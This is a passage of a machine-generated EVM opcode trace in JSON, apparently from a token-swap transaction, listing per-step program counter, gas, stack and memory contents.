20000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11790,"op":"POP","gas":2254,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11791,"op":"POP","gas":2252,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11792,"op":"SWAP1","gas":2250,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11793,"op":"POP","gas":2247,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11794,"op":"DUP1","gas":2245,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11795,"op":"PUSH2","gas":2242,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11798,"op":"JUMPI","gas":2239,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x1","0x1","0x2db6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11702,"op":"JUMPDEST","gas":2229,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11703,"op":"POP","gas":2228,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11704,"op":"POP","gas":2226,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11705,"op":"POP","gas":2224,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11706,"op":"JUMP","gas":2222,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3330,"op":"JUMPDEST","gas":2214,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3331,"op":"POP","gas":2213,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f